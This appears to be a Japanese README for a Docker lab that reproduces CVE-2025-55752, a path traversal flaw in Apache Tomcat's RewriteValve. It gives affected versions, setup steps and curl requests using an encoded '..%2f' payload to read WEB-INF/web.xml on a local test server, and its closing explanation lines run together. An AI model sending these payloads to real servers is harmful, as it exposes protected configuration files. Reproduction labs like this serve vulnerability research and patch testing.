
DockerベースのCVE-2025-55752再現環境。Apache TomcatのRewriteValveにおけるパストラバーサル脆弱性で、デコード前の正規化(normalize-before-decode)の欠陥を実証し、テストコマンドを提供します。
CVE-2025-55752(Apache Tomcat 10.1.44 のパストラバーサル脆弱性)を再現するための Docker ベースの環境です。
CVE-2025-55752 は、Apache Tomcat の RewriteValve におけるパストラバーサル脆弱性で、処理順序の誤り(URL 正規化が URL デコードより先に行われる)が原因です。これにより、攻撃者は URL エンコードされたパストラバーサルシーケンス(..%2f)を使用して、/WEB-INF/ などのディレクトリを保護するセキュリティ制約を回避できます。
| シリーズ | 脆弱なバージョン | 修正済みバージョン |
|---|
| 11.x | 11.0.0-M1 から 11.0.10 | 11.0.11+ |
| 10.1.x | 10.1.0-M1 から 10.1.44 | 10.1.45+ |
| 9.0.x | 9.0.0-M11 から 9.0.108 | 9.0.109+ |
| 8.5.x | 8.5.6 から 8.5.100 | EOL - パッチなし |
git clone https://github.com/masahiro331/CVE-2025-55752.git
cd CVE-2025-55752
docker-compose up -d
curl http://localhost:8080/
curl -I 'http://localhost:8080/WEB-INF/web.xml'
期待される結果: 403 Forbidden
curl -s 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml' | head -5
curl -I 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml'
期待される結果: 200 OK + web.xml の内容(脆弱性が確認される)
/download?path=..%2fWEB-INF%2fweb.xml/files/..%2fWEB-INF%2fweb.xml に書き換え%2f が / として認識されず、.. が残る%2f → / → /files/../WEB-INF/web.xml/WEB-INF/web.xml正しい: デコード → 正規化 → セキュリティチェック
脆弱: 正規化 → デコード → セキュリティチェック ✗
../ および %2e%2e をブロックする WAF ルール⚠️ 警告: 本番環境にはデプロイしないでください。隔離されたテスト環境でのみ使用してください。